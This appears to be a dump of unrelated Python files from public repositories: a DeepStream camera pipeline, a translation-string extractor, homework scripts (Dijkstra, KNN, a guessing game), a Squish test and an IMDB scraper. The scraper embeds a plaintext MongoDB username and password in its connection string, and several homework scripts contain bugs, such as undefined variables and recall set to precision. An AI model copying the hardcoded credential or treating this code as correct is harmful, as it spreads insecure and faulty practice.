StopIteration: break frame_number=frame_meta.frame_num num_rects = frame_meta.num_obj_meta l_obj=frame_meta.obj_meta_list while l_obj is not None: try: # Casting l_obj.data to pyds.NvDsObjectMeta obj_meta=pyds.NvDsObjectMeta.cast(l_obj.data) except StopIteration: break obj_counter[obj_meta.class_id] += 1 try: l_obj=l_obj.next except StopIteration: break # Acquiring a display meta object. The memory ownership remains in # the C code so downstream plugins can still access it. Otherwise # the garbage collector will claim it when this probe function exits. display_meta=pyds.nvds_acquire_display_meta_from_pool(batch_meta) display_meta.num_labels = 1 py_nvosd_text_params = display_meta.text_params[0] # Setting display text to be shown on screen # Note that the pyds module allocates a buffer for the string, and the # memory will not be claimed by the garbage collector. # Reading the display_text field here will return the C address of the # allocated string. Use pyds.get_string() to get the string content. py_nvosd_text_params.display_text = "Frame Number={} Number of Objects={} Vehicle_count={} Person_count={}".format(frame_number, num_rects, obj_counter[PGIE_CLASS_ID_VEHICLE], obj_counter[PGIE_CLASS_ID_PERSON]) # Now set the offsets where the string should appear py_nvosd_text_params.x_offset = 10 py_nvosd_text_params.y_offset = 12 # Font , font-color and font-size py_nvosd_text_params.font_params.font_name = "Serif" py_nvosd_text_params.font_params.font_size = 10 # set(red, green, blue, alpha); set to White py_nvosd_text_params.font_params.font_color.set(1.0, 1.0, 1.0, 1.0) # Text background color py_nvosd_text_params.set_bg_clr = 1 # set(red, green, blue, alpha); set to Black py_nvosd_text_params.text_bg_clr.set(0.0, 0.0, 0.0, 1.0) # Using pyds.get_string() to get display_text as string print(pyds.get_string(py_nvosd_text_params.display_text)) pyds.nvds_add_display_meta_to_frame(frame_meta, display_meta) try: l_frame=l_frame.next except StopIteration: break return Gst.PadProbeReturn.OK def main(args): # Check input arguments if len(args) < 2: sys.stderr.write("usage: %s <v4l2-device-path>\n" % args[0]) sys.exit(1) # TODO: use parsing width = int(args[3]) height = int(args[5]) # Standard GStreamer initialization GObject.threads_init() Gst.init(None) # Create gstreamer elements # Create Pipeline element that will form a connection of other elements print("Creating Pipeline \n ") pipeline = Gst.Pipeline() if not pipeline: sys.stderr.write(" Unable to create Pipeline \n") # Source element for reading from the file print("Creating Source \n ") source = Gst.ElementFactory.make("v4l2src", "usb-cam-source") if not source: sys.stderr.write(" Unable to create Source \n") caps_v4l2src = Gst.ElementFactory.make("capsfilter", "v4l2src_caps") if not caps_v4l2src: sys.stderr.write(" Unable to create v4l2src capsfilter \n") print("Creating Video Converter \n") # Adding videoconvert -> nvvideoconvert as not all # raw formats are supported by nvvideoconvert; # Say YUYV is unsupported - which is the common # raw format for many logi usb cams # In case we have a camera with raw format supported in # nvvideoconvert, GStreamer plugins' capability negotiation # shall be intelligent enough to reduce compute by # videoconvert doing passthrough (TODO we need to confirm this) # videoconvert to make sure a superset of raw formats are supported vidconvsrc = Gst.ElementFactory.make("videoconvert", "convertor_src1") if not vidconvsrc: sys.stderr.write(" Unable to create videoconvert \n") # nvvideoconvert to convert incoming raw buffers to NVMM Mem (NvBufSurface API) nvvidconvsrc = Gst.ElementFactory.make("nvvideoconvert", "convertor_src2") if not nvvidconvsrc: sys.stderr.write(" Unable to create Nvvideoconvert \n") caps_vidconvsrc = Gst.ElementFactory.make("capsfilter", "nvmm_caps") if not caps_vidconvsrc: sys.stderr.write(" Unable to create capsfilter \n") # Create nvstreammux instance to form batches from one or more sources. streammux = Gst.ElementFactory.make("nvstreammux", "Stream-muxer") if not streammux: sys.stderr.write(" Unable to create NvStreamMux \n") # Use nvinfer to run inferencing on camera's output, # behaviour of inferencing is set through config file pgie = Gst.ElementFactory.make("nvinfer", "primary-inference") if not pgie: sys.stderr.write(" Unable to create pgie \n") # Use convertor to convert from NV12 to RGBA as required by nvosd nvvidconv = Gst.ElementFactory.make("nvvideoconvert", "convertor") if not nvvidconv: sys.stderr.write(" Unable to create nvvidconv \n") # Create OSD to draw on the converted RGBA buffer nvosd = Gst.ElementFactory.make("nvdsosd", "onscreendisplay") if not nvosd: sys.stderr.write(" Unable to create nvosd \n") # Finally render the osd output if is_aarch64(): transform = Gst.ElementFactory.make("nvegltransform", "nvegl-transform") print("Creating EGLSink \n") sink = Gst.ElementFactory.make("nveglglessink", "nvvideo-renderer") if not sink: sys.stderr.write(" Unable to create egl sink \n") print("Playing cam %s " %args[1]) caps_v4l2src.set_property('caps', Gst.Caps.from_string("video/x-raw, framerate=30/1")) caps_vidconvsrc.set_property('caps', Gst.Caps.from_string("video/x-raw(memory:NVMM)")) source.set_property('device', args[1]) streammux.set_property('width', width) streammux.set_property('height', height) streammux.set_property('batch-size', 1) streammux.set_property('batched-push-timeout', 4000000) pgie.set_property('config-file-path', "dstest1_pgie_config.txt") # Set sync = false to avoid late frame drops at the display-sink sink.set_property('sync', False) print("Adding elements to Pipeline \n") pipeline.add(source) pipeline.add(caps_v4l2src) pipeline.add(vidconvsrc) pipeline.add(nvvidconvsrc) pipeline.add(caps_vidconvsrc) pipeline.add(streammux) pipeline.add(pgie) pipeline.add(nvvidconv) pipeline.add(nvosd) pipeline.add(sink) if is_aarch64(): pipeline.add(transform) # we link the elements together # v4l2src -> nvvideoconvert -> mux -> # nvinfer -> nvvideoconvert -> nvosd -> video-renderer print("Linking elements in the Pipeline \n") source.link(caps_v4l2src) caps_v4l2src.link(vidconvsrc) vidconvsrc.link(nvvidconvsrc) nvvidconvsrc.link(caps_vidconvsrc) sinkpad = streammux.get_request_pad("sink_0") if not sinkpad: sys.stderr.write(" Unable to get the sink pad of streammux \n") srcpad = caps_vidconvsrc.get_static_pad("src") if not srcpad: sys.stderr.write(" Unable to get source pad of caps_vidconvsrc \n") srcpad.link(sinkpad) streammux.link(pgie) pgie.link(nvvidconv) nvvidconv.link(nvosd) if is_aarch64(): nvosd.link(transform) transform.link(sink) else: nvosd.link(sink) # create an event loop and feed gstreamer bus mesages to it loop = GObject.MainLoop() bus = pipeline.get_bus() bus.add_signal_watch() bus.connect ("message", bus_call, loop) # Lets add probe to get informed of the meta data generated, we add probe to # the sink pad of the osd element, since by that time, the buffer would have # had got all the metadata. osdsinkpad = nvosd.get_static_pad("sink") if not osdsinkpad: sys.stderr.write(" Unable to get sink pad of nvosd \n") osdsinkpad.add_probe(Gst.PadProbeType.BUFFER, osd_sink_pad_buffer_probe, 0) # start play back and listen to events print("Starting pipeline \n") pipeline.set_state(Gst.State.PLAYING) try: loop.run() except: pass # cleanup pipeline.set_state(Gst.State.NULL) if __name__ == '__main__': sys.exit(main(sys.argv))

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#!/usr/bin/env python # Copyright (c) 2012-2016 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. ''' Extract _("...") strings for translation and convert to Qt stringdefs so that they can be picked up by Qt linguist. ''' from __future__ import division,print_function,unicode_literals from subprocess import Popen, PIPE import operator import os import sys OUT_CPP="qt/jaagstrings.cpp" EMPTY=['""'] def parse_po(text): """ Parse 'po' format produced by xgettext. Return a list of (msgid,msgstr) tuples. """ messages = [] msgid = [] msgstr = [] in_msgid = False in_msgstr = False for line in text.split('\n'): line = line.rstrip('\r') if line.startswith('msgid '): if in_msgstr: messages.append((msgid, msgstr)) in_msgstr = False # message start in_msgid = True msgid = [line[6:]] elif line.startswith('msgstr '): in_msgid = False in_msgstr = True msgstr = [line[7:]] elif line.startswith('"'): if in_msgid: msgid.append(line) if in_msgstr: msgstr.append(line) if in_msgstr: messages.append((msgid, msgstr)) return messages files = sys.argv[1:] # xgettext -n --keyword=_ $FILES XGETTEXT=os.getenv('XGETTEXT', 'xgettext') if not XGETTEXT: print('Cannot extract strings: xgettext utility is not installed or not configured.',file=sys.stderr) print('Please install package "gettext" and re-run \'./configure\'.',file=sys.stderr) exit(1) child = Popen([XGETTEXT,'--output=-','-n','--keyword=_'] + files, stdout=PIPE) (out, err) = child.communicate() messages = parse_po(out.decode('utf-8')) f = open(OUT_CPP, 'w') f.write(""" #include <QtGlobal> // Automatically generated by extract_strings_qt.py #ifdef __GNUC__ #define UNUSED __attribute__((unused)) #else #define UNUSED #endif """) f.write('static const char UNUSED *jaag_strings[] = {\n') f.write('QT_TRANSLATE_NOOP("jaag-core", "%s"),\n' % (os.getenv('PACKAGE_NAME'),)) f.write('QT_TRANSLATE_NOOP("jaag-core", "%s"),\n' % (os.getenv('COPYRIGHT_HOLDERS'),)) if os.getenv('COPYRIGHT_HOLDERS_SUBSTITUTION') != os.getenv('PACKAGE_NAME'): f.write('QT_TRANSLATE_NOOP("jaag-core", "%s"),\n' % (os.getenv('COPYRIGHT_HOLDERS_SUBSTITUTION'),)) messages.sort(key=operator.itemgetter(0)) for (msgid, msgstr) in messages: if msgid != EMPTY: f.write('QT_TRANSLATE_NOOP("jaag-core", %s),\n' % ('\n'.join(msgid))) f.write('};\n') f.close()

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EDGE_COLOR = '#bbbbbb' EDGE_WIDTH = 2 NODE_SIZE = 3000 NODE_BORDER_COLOR = EDGE_COLOR NODE_BORDER_WIDTH = 3 NODE_COLOR_NORMAL = '#3492d9' NODE_COLOR_SOURCE = '#2cb64e' NODE_COLOR_OBSERVED = '#d96b34' NODE_COLOR_REACHABLE = NODE_COLOR_SOURCE NODE_SHAPE_SOURCE = 'd' LABEL_COLOR = '#111111' FACTOR_NODE_SIZE = 300 FACTOR_NODE_COLOR = '#fdae61' FACTOR_NODE_SHAPE = 's' AXIS_OBSERVED_BG_COLOR = '#d9c4ad'

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__version__ = '0.0.1-dev' metadata = dict( name='nanoauto', version=__version__, description='Web-based editor', long_description="""\ nanoauto: write-only web editor """, author='Moshe Zadka', author_email='zadka.moshe@gmail.com', license='MIT', copyright='2015', )

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# generated from catkin/cmake/template/pkg.context.pc.in CATKIN_PACKAGE_PREFIX = "" PROJECT_PKG_CONFIG_INCLUDE_DIRS = "".split(';') if "" != "" else [] PROJECT_CATKIN_DEPENDS = "roscpp;std_msgs;sensor_msgs;diagnostic_msgs;turtlebot3_msgs".replace(';', ' ') PKG_CONFIG_LIBRARIES_WITH_PREFIX = "".split(';') if "" != "" else [] PROJECT_NAME = "turtlebot3_bringup" PROJECT_SPACE_DIR = "/home/jacob/catkin_ws/devel" PROJECT_VERSION = "1.2.1"

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reed.jacobp@gmail.com

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/network analytics/HW1_dijkstra.py

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2021-01-10T13:32:20.944586

2020-02-17T16:23:48

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# -*- coding: utf-8 -*- # %% define the dijkstra function def dijkstra(graph_dict, start, end): """ This is a recursive function that implements Dijkstra's Shortest Path algorithm. It takes as its inputs: i. a graph represented by a "dictionary of dictionaries" structure, generated using networkx; ii. a starting node in that graph; and iii. an ending node for that graph It then performs the following steps: i. initialises a set of distances from the start node as infinity; ii. initialises a set of 'predecessors' to None (a predecessor is defined for each node in the network and it lists the prior node in the path from start to end); iii. initialises the set of of vertices for which the shortest path from start to end has been found to empty; and then iv. whilst there are still vertices left to assess: a. restricts the set of vertices to those where that still need analysisng; b. finds the vertex that is the minimum distance from the start; c. "relaxes" the neighbours of this closest vertex to see if the shortest path to that vertex can be improved; and d. updates the predecessor vertex for each node in the current path When all vertices have been assessed, the function defines the path and returns it with its associated cost """ distances = {} # empty dict for distances predecessors = {} # list of vertices in path to current vertex to_assess = graph_dict.keys() # get all the nodes in the graph that need to be assessed # set all initial distances to infinity and no predecessor for any node for node in graph_dict: distances[node] = float('inf') predecessors[node] = None # set the intial collection of permanently labelled nodes to be empty sp_set = [] # set the distance from the start node to be 0 distances[start] = 0 # as long as there are still nodes to assess: while len(sp_set) < len(to_assess): # chop out any nodes with a permament label still_in = { node: distances[node] for node in [node for node in to_assess if node not in sp_set] } # find the closest node to the current node closest = min(still_in, key = distances.get) # and add it to the set of permanently labelled nodes sp_set.append(closest) # then for all the neighbours of the closest node (that was just added) # to the permanent set for node in graph_dict[closest]: # if a shorter path to that node can be found if distances[node] > distances[closest] + graph[closest][node]['weight']: # update the distance with that shorter distance; and distances[node] = distances[closest] + graph[closest][node]['weight'] # set the predecessor for that node predecessors[node] = closest # once the loop is complete the final path needs to be calculated - this can # be done by backtracing through the predecessors set path = [end] while start not in path: path.append(predecessors[path[-1]]) # return the path in order start -> end, and it's cost return path[::-1], distances[end] # %% # function to get _all_ dijkstra shortest paths def dijkstra_all(graph_dict): ans = [] for start in graph_dict.keys(): for end in graph_dict.keys(): ans.append(dijkstra(graph_dict, start, end)) return ans #%% read in data - use a pandas dataframe just for convenience import pandas as pd data = pd.read_table("../data/HW1_4.txt", sep = " ", header = None, names = ['vx', 'vy', 'weight']) # %% use network x to prepare dictionary structure which can be fed in to the # dijkstra function import networkx as nx graph = nx.from_pandas_dataframe(data, 'vx', 'vy', 'weight') # graph_nodes = graph.nodes() graph_dict = nx.to_dict_of_dicts(graph) # %% run the functions path = dijkstra(graph_dict, 1, 6) all_paths = dijkstra_all(graph_dict)

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chanbaik91@gmail.com

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/PYTHON COURSE/30 - chapter-3_exercise-1(WINNING_GAME).py

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tushsoni/PYTHON-BEGINNERS-TO-ADVANCED

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2020-06-13T05:13:31.037671

2019-07-04T06:47:31

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# *************************************** CHAPTER-3_EXERCISE-1 *************************************#\ # QUESTION : MAKE A VARIABLE LIKE winning_number and assign any number to it , ask user to guess a number , if user guessed correctly then print "YOU WIN !!!!" # if user did'nt guessed correctly then : # 1) if user guessed lower than actual number then print "too low" # 2) if user guessed higher than actual number then print "too high" # bonus : : : google "how to generate random number using python" to generate random number #winning number # ****************************************************** ANSWER ******************************************************* # winning_number = 13 guessed_number = int(input("Enter a number between 1 to 20 : ")) if winning_number == guessed_number: print("You win the game") else: # It is called as NESTED IF-ELSE (it contain if in else that's why) if guessed_number < winning_number: print("too low") if guessed_number > winning_number: print("too high")

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asthagaur1/danfoss-bdd-automation

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2023-03-30T15:29:54.849082

2021-04-05T08:21:04

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# -*- coding: utf-8 -*- import names def main(): startApplication("KoolProg") mouseClick(waitForObject(names.koolProg_imgSetParams_Image)) mouseClick(waitForObjectItem(":SetParameters_List_3", "Danfoss.T4CClient.SetParameters+ListFileItems"))

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asthagaur@danfoss.com

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/단계별로 풀어보기/부르트 포스/1436_영화감독 숌.py

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jongtix/Python_Baekjoon

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2023-01-02T18:39:07.871990

2020-10-19T08:34:38

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# 문제 # 666은 종말을 나타내는 숫자라고 한다. 따라서, 많은 블록버스터 영화에서는 666이 들어간 제목을 많이 사용한다. 영화감독 숌은 세상의 종말 이라는 시리즈 영화의 감독이다. 조지 루카스는 스타워즈를 만들 때, 스타워즈 1, 스타워즈 2, 스타워즈 3, 스타워즈 4, 스타워즈 5, 스타워즈 6과 같이 이름을 지었고, 피터 잭슨은 반지의 제왕을 만들 때, 반지의 제왕 1, 반지의 제왕 2, 반지의 제왕 3과 같이 영화 제목을 지었다. # # 하지만 숌은 자신이 조지 루카스와 피터 잭슨을 뛰어넘는다는 것을 보여주기 위해서 영화 제목을 좀 다르게 만들기로 했다. # # 종말의 숫자란 어떤 수에 6이 적어도 3개이상 연속으로 들어가는 수를 말한다. 제일 작은 종말의 숫자는 666이고, 그 다음으로 큰 수는 1666, 2666, 3666, .... 과 같다. # # 따라서, 숌은 첫 번째 영화의 제목은 세상의 종말 666, 두 번째 영화의 제목은 세상의 종말 1666 이렇게 이름을 지을 것이다. 일반화해서 생각하면, N번째 영화의 제목은 세상의 종말 (N번째로 작은 종말의 숫자) 와 같다. # # 숌이 만든 N번째 영화의 제목에 들어간 숫자를 출력하는 프로그램을 작성하시오. 숌은 이 시리즈를 항상 차례대로 만들고, 다른 영화는 만들지 않는다. # # 입력 # 첫째 줄에 숫자 N이 주어진다. N은 10,000보다 작거나 같은 자연수이다. # # 출력 # 첫째 줄에 N번째 영화의 제목에 들어간 수를 출력한다. # # 예제 입력 1 # 2 # 예제 출력 1 # 1666 N = int(input()) result = list() i = 1 stand = '666' while len(result) < N: if str(i).find(stand) > -1: result.append(i) i += 1 print(result.pop())

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AhmedFakhry47/ETL-Pipeline-For-IMDB_Movie_Reviews

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from scrapy.linkextractors import LinkExtractor from scrapy.spiders import CrawlSpider, Rule from pymongo import MongoClient import pymongo import scrapy def connect_database(): cluster = MongoClient("mongodb+srv://enihcam:12345@cluster0.irbss.mongodb.net/<Movie_Review>?retryWrites=true&w=majority") db = cluster["Movie_Review"] collection = db["IMBD_Reviews"] return collection SEARCH_QUERY=( 'https://www.imdb.com/search/title?' 'title_type=feature&' 'user_rating=1.0,10.0&' 'countries=us&' 'languages=en&' 'count=250&' 'view=simple' ) class IMBD_spider(scrapy.spiders.Spider): name = 'IMBD_spider' allowed_domains = ['imdb.com'] start_urls = [SEARCH_QUERY] rules = (Rule( LinkExtractor(restrict_css=('div.desc a')), follow=True, callback='parse', ),) database = connect_database() def parse(self,response): links = response.css('span.lister-item-header a::attr(href)').extract() #print('here',links) for link in links: yield response.follow(link,callback=self.parse_movie) def parse_movie(self,response): data = {} data['title'] = response.css('h1::text').extract_first().strip() #data['rating'] = response.css('.subtext::text').extract_first().strip() or None data['year'] = response.css('#titleYear a::text').extract_first() data['users_rating'] = response.xpath('//span[contains(@itemprop, "ratingValue")]/text()').extract_first() data['votes'] = response.xpath('//span[contains(@itemprop, "ratingCount")]/text()').extract_first() data['datascore'] = response.xpath('//div[contains(@class, "datacriticScore")]/span/text()').extract_first() data['img_url'] = response.xpath('//div[contains(@class, "poster")]/a/img/@src').extract_first() countries = response.xpath('//div[contains(@class, "txt-block") and contains(.//h4, "Country")]/a/text()').extract() data['countries'] = [country.strip() for country in countries] languages = response.xpath('//div[contains(@class, "txt-block") and contains(.//h4, "Language")]/a/text()').extract() data['languages'] = [language.strip() for language in languages] actors = response.xpath('//td[not(@class)]/a/text()').extract() data['actors'] = [actor.strip() for actor in actors] genres = response.xpath("//div[contains(.//h4, 'Genres')]/a/text()").extract() data['genre'] = [genre.strip() for genre in genres] tagline = response.xpath('//div[contains(string(), "Tagline")]/text()').extract() data['tagline'] = ''.join(tagline).strip() or None data['description'] = response.xpath('//div[contains(@class, "summary_text")]/text()').extract_first().strip() or None directors = response.xpath("//div[contains(@class, 'credit_summary_item') and contains(.//h4, 'Director')]/a/text()").extract() or None if directors: data['directors'] = [director.strip() for director in directors] data['runtime'] = response.xpath("//div[contains(@class, 'txt-block') and contains(.//h4, 'Runtime')]/time/text()").extract_first() or None data['imdb_url'] = response.url.replace('?ref_=adv_li_tt', '') reviews_link = response.xpath("//div[contains(@class,'subnav')]/div[@id='quicklinksMainSection']/a[@class='quicklink'][3]/@href").extract() yield response.follow(reviews_link[0],meta={'movie_info':data},callback=self.parse_reviews) def parse_reviews(self,response): data = response.meta['movie_info'] reviews = response.xpath("//div[@class='text show-more__control']/text()").extract() stars = response.xpath("//span[@class='rating-other-user-rating']/span/text()").extract()[::2] #Storing data in database current_movie = {x:data[x] for x in data.keys()} current_movie['_id']= current_movie['title'] current_movie['Reviews'] = {str(j):[i,v] for j,i,v in zip(list(range(0,len(stars))),reviews,stars)} del(current_movie['title']) self.database.insert_one(current_movie) yield None

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ahmedfakhry805@gmail.com

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/examples/UnderDev/ECG_Entropy/test.py

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rhenanbartels/NeuroKit.py

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2021-01-20T18:10:22.134512

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# -*- coding: utf-8 -*- import numpy as np import pandas as pd import neurokit as nk import nolds df = pd.read_csv('data.csv') df = nk.ecg_process(ecg=df["ECG"]) rri = df["ECG"]["RR_Intervals"] signal=rri tolerance = "default" emb_dim=2 chaos = nk.complexity(signal, lyap_r=False, lyap_e=False) #chaos = pd.Series(chaos) #chaos.index = ["ECG_Complexity_" + s for s in chaos.index] #processed_ecg["ECG"]["Complexity"] = chaos.to_dict() #nolds.sampen(rri, 2, 0.1*np.std(rri), dist="euler") #sample_entropy(rri,2, 0.1*np.std(rri))[1] # #

[ "dom.mak19@gmail.com" ]

dom.mak19@gmail.com

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/classifier_models/q-1-1.py

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PrabhaPandey911/Machine-Learning

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2023-05-08T11:29:02.486864

2021-05-23T15:58:37

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#!/usr/bin/env python # coding: utf-8 # # q-1-1 # # # Part (i): # In[137]: import numpy as np import pandas as pd import sys import math import matplotlib import matplotlib.pyplot as plt from pylab import * filename1="./RobotDataset/Robot1" filename2="./RobotDataset/Robot2" # In[138]: #As the given data does not have column names defined, hence giving them names accordingly, while reading the file colnames=['class', 'a1', 'a2', 'a3','a4','a5','a6','Id'] robot1 = pd.read_csv(filename, sep=' ', names=colnames,skipinitialspace=True) robot2 =pd.read_csv(filename2,sep=' ',names=colnames,skipinitialspace=True) # In[139]: #To calculate the distance we need to bring down all the values of all the columns within the range of 0 and 1 #and hence normalize the data #bringing down the values in the range(0,1) def normalise(data): result=data for col in data.columns: if col!='class'and col!='Id': minimum=data[col].min() maximum=data[col].max() result[col]=((data[col])-minimum)/(maximum-minimum) return result #normalizing for robot1 robot1=normalise(robot1) #normalizing for robot2 robot2=normalise(robot2) # In[140]: #for random spliting of data into training and validate #for robot1 robot1 = robot1.sample(frac=1) train1, validate1 = np.split(robot1, [int(.8*len(robot1))]) #for robot2 robot2=robot2.sample(frac=1) train2,validate2 = np.split(robot2, [int(.8*len(robot2))]) # In[141]: #for predicting in KNN, what we do is, for any given row, we try and calculate the distance with every row of the #training data and then select k def predict(row,k,t,dis_func): #t: train data set #dis_func: distance function used #k: k value provided #row: point under consideration #get the sorted list according to the function passed #structure of list, tuple of distance and corresponding class lable distance=dis_func(t,row) #knn is a list of size 2, zeroth index represents '0' of class lable, first index represents '1' of class lable knn=[0,0] #take the first k distances and calculate the total number of times '0' and '1' appearing in class lable for i in range(0,k): knn[distance[i][1]]+=1 #return the class label which occured most number of times if knn[1]>=knn[0]: return 1 else: return 0 # In[142]: #calculate distance using euclidean formula def euclidean(t,row): distance=[] columns=['a1','a2','a3','a4','a5','a6'] #t is the training data, to find the distance with all points, a row equals a point #row is the given point with which distance is to be calculated for index1,row1 in t.iterrows(): temp=0 #for one row, iterate over all the columns and sum up the square of difference (formula for euclidean) for col in columns: temp+=((row1[col]-row[col])**2) #take square root of the above aggregate, this is the euclidean distance between current considered points #save the distance and corresponding class of the training row under consideration, in a list "distance" distance.append((math.sqrt(temp),row1['class'])) #sorting all the distances in increasing order distance.sort() #return the distance list return distance # In[143]: #calculate distance using manhattan formula def manhattan(t,row): columns=['a1','a2','a3','a4','a5','a6'] distance=[] #t is the training data, to find the distance with all points, a row equals a point #row is the given point with which distance is to be calculated for index1,row1 in t.iterrows(): temp=0 #for one row traverse over all the columns and sum up the absolute of corresponding differences for col in columns: temp+=abs(row1[col]-row[col]) #store the distance and corresponding class lable value distance.append((temp,row1['class'])) #sort the distances in increasing order distance.sort() #return the distance list return distance # In[144]: #calculate distance using manhattan formula def chebyshev(t,row): columns=['a1','a2','a3','a4','a5','a6'] distance=[] #t is the training data, to find the distance with all points, a row equals a point #row is the given point with which distance is to be calculated for index1,row1 in t.iterrows(): max_value=-sys.maxint-1 #for a row traverse all the columns and find out the max value of absolute of corresponding differences for col in columns: diff=abs(row1[col]-row[col]) max_value=max(diff,max_value) #store the distance and corresponding class lable value distance.append((max_value,row1['class'])) #sort the distances in increasing order distance.sort() #return the distance list return distance # In[145]: #calculate accurancy for training data t and a given function func def calculate_accuracy(t,func,validate): l=len(t) l=int(math.sqrt(l)) l+=1 #for plotting graph k_level=[] accu_list=[] max_acc=-sys.maxint-1 max_prec=0 max_recall=0 max_f1sc=0 final_k=0 #range of k is from 1 to square root of the number of rows of training data set provided for i in range(1,l,2): #as k value should always be odd, therefore step size is equal to 2 (third arg) #for confusion matrix actual_value=[] predicted_value=[] tp=0 tn=0 fp=0 fn=0 #for each row in validate for index,row in validate.iterrows(): x=predict(row,i,t,func) if row['class']==1 and x==1: tp+=1 if row['class']==0 and x==0: tn+=1 if row['class']==1 and x==0: fn+=1 if row['class']==0 and x==1: fp+=1 #for confusion matrix actual_value.append(row['class']) predicted_value.append(x) #for confusion matrix actu = pd.Series(actual_value, name='Actual') pred = pd.Series(predicted_value, name='Predicted') df_confusion = pd.crosstab(actu, pred) if tp+tn+fp+fn!=0: acc_cm=float(tp+tn)/(tp+tn+fp+fn)#accuracy_cm(df_confusion) else: acc_cm=0 if tp+fn!=0: recal_cm=float(tp)/(tp+fn)#recall_cm(df_confusion) else: recal_cm=0 if tp+fp!=0: preci_cm=float(tp)/(tp+fp)#precision_cm(df_confusion) else: preci_cm=0 if recal_cm!=0 and preci_cm!=0: f1_sc=(2/((1/recal_cm)+(1/preci_cm)))#f1Score_cm(preci_cm,recal_cm) else: f1_sc=0 #to plot the graph between different k values and its corresponding accuracy k_level.append(i) accu_list.append(acc_cm) if max_acc<acc_cm: max_acc=acc_cm final_k=i max_prec=preci_cm max_recall=preci_cm max_f1sc=preci_cm return (k_level,accu_list,final_k,max_acc,max_prec,max_recall,max_f1sc) # In[146]: k1_list,accu1,k1,acc1,pre1,recal1,f1sc1=calculate_accuracy(train1,euclidean,validate1) k2_list,accu2,k2,acc2,pre2,recal2,f1sc2=calculate_accuracy(train1,chebyshev,validate1) k3_list,accu3,k3,acc3,pre3,recal3,f1sc3=calculate_accuracy(train1,manhattan,validate1) k11_list,accu11,k11,acc11,pre11,recal11,f1sc11=calculate_accuracy(train2,euclidean,validate2) k22_list,accu22,k22,acc22,pre22,recal22,f1sc22=calculate_accuracy(train2,chebyshev,validate2) k33_list,accu33,k33,acc33,pre33,recal33,f1sc33=calculate_accuracy(train2,manhattan,validate2) # # Part (ii): Iris # # In[147]: irisfile="./Iris/Iris.csv" colnames=['sepal_length', 'sepal_width', 'petal_length', 'petal_width','class'] data = pd.read_csv(irisfile, names=colnames,skipinitialspace=True) #bringing down the values in the range(0,1) def normalise_iris(data): result=data for col in data.columns: if col!='class': minimum=data[col].min() maximum=data[col].max() result[col]=((data[col])-minimum)/(maximum-minimum) return result data=normalise_iris(data) # In[148]: data = data.sample(frac=1) train, validate = np.split(data, [int(.8*len(data))]) # In[149]: def predict_iris(row,k,t,dis_func): distance=dis_func(t,row) knn={} for i in range(0,k): if distance[i][1] not in knn.keys(): knn[distance[i][1]]=1 else: knn[distance[i][1]]+=1 maxi=0 label='' for i in knn.keys(): if maxi<knn[i]: maxi=knn[i] label=i return label # In[150]: def euclidean_iris(t,row): distance=[] columns=['sepal_length', 'sepal_width', 'petal_length', 'petal_width'] for index1,row1 in t.iterrows(): temp=0 for col in columns: temp+=((row1[col]-row[col])**2) distance.append((math.sqrt(temp),row1['class']))#distance is list of distance and corresponding class label distance.sort()#sorting all the distances in increasing order return distance # In[151]: def manhattan_iris(t,row): columns=['sepal_length', 'sepal_width', 'petal_length', 'petal_width'] distance=[] for index1,row1 in t.iterrows(): temp=0 for col in columns: temp+=abs(row1[col]-row[col]) distance.append((temp,row1['class'])) distance.sort() return distance # In[152]: def chebyshev_iris(t,row): columns=['sepal_length', 'sepal_width', 'petal_length', 'petal_width'] distance=[] for index1,row1 in t.iterrows(): max_value=-sys.maxint-1 for col in columns: if max_value<abs(row1[col]-row[col]): max_value=abs(row1[col]-row[col]) distance.append((max_value,row1['class'])) distance.sort() return distance # In[153]: def accuracy_cm(df_confusion): tpptn=0 #tp +tn for i in df_confusion: tpptn+=df_confusion[i][i] total=0 for i in df_confusion: total+=df_confusion[i].sum() return float(tpptn)/total # In[154]: def precision_cm(df_confusion): return np.sum(np.diag(df_confusion)/ np.sum(df_confusion, axis = 0))/len(np.diag(df_confusion)/ np.sum(df_confusion, axis = 0)) # In[155]: def recall_cm(df_confusion): return np.sum(np.diag(df_confusion) / np.sum(df_confusion, axis = 1))/len(np.diag(df_confusion) / np.sum(df_confusion, axis = 1)) # In[156]: def f1Score_cm(precision,recall): return float(2)/((1/recall)+(1/precision)) # In[157]: #calculate accurancy for training data t and a given function func def calculate_accuracy_iris(t,func,validate): l=len(t) l=int(math.sqrt(l)) l+=1 #for plotting graph k_level=[] accu_list=[] max_acc=-sys.maxint-1 final_k=0 max_prec=0 max_recall=0 max_f1sc=0 #range of k is from 1 to square root of the number of rows of training data set provided for i in range(1,l): #here one skip is performed each time as class lable has 3 unique values #for confusion matrix actual_value=[] predicted_value=[] #for each row in validate for index,row in validate.iterrows(): x=predict_iris(row,i,t,func) #for confusion matrix actual_value.append(row['class']) predicted_value.append(x) actu = pd.Series(actual_value, name='Actual') pred = pd.Series(predicted_value, name='Predicted') df_confusion = pd.crosstab(actu, pred) acc_cm=accuracy_cm(df_confusion) preci_cm=precision_cm(df_confusion) recal_cm=recall_cm(df_confusion) f1_sc=f1Score_cm(preci_cm,recal_cm) #to plot the graph between different k values and its corresponding accuracy k_level.append(i) accu_list.append(acc_cm) if max_acc<acc_cm: max_acc=acc_cm final_k=i max_prec=preci_cm max_recall=preci_cm max_f1sc=preci_cm return (k_level,accu_list,final_k,max_acc,max_prec,max_recall,max_f1sc) # # q-1-1-1 # # Accuracy, Precision, Recall, k-value and F1 score # In[158]: print "*******ROBOT1*******" print print "Eucledian" print print "k_value: ",k1 print "max accuracy: ",acc1 print "precision: ",pre1 print "recall: ",recal1 print "f1 score: ",f1sc1 print print "chebyshev" print print "k_value: ",k2 print "max accuracy: ",acc2 print "precision: ",pre2 print "recall: ",recal2 print "f1 score: ",f1sc2 print print "manhattan" print print "k_value: ",k3 print "max accuracy: ",acc3 print "precision: ",pre3 print "recall: ",recal3 print "f1 score: ",f1sc3 print # In[159]: print "*******ROBOT2*******" print print "Eucledian" print print "k_value: ",k11 print "max accuracy: ",acc11 print "precision: ",pre11 print "recall: ",recal11 print "f1 score: ",f1sc11 print print "chebyshev" print print "k_value: ",k22 print "max accuracy: ",acc22 print "precision: ",pre22 print "recall: ",recal22 print "f1 score: ",f1sc1 print print "manhattan" print print "k_value: ",k33 print "max accuracy: ",acc33 print "precision: ",pre33 print "recall: ",recal33 print "f1 score: ",f1sc33 print # In[160]: #IRIS k1_listi,accu1i,k1i,acc1i,prec1i,recal1i,f1sc1i=calculate_accuracy_iris(train,euclidean_iris,validate) 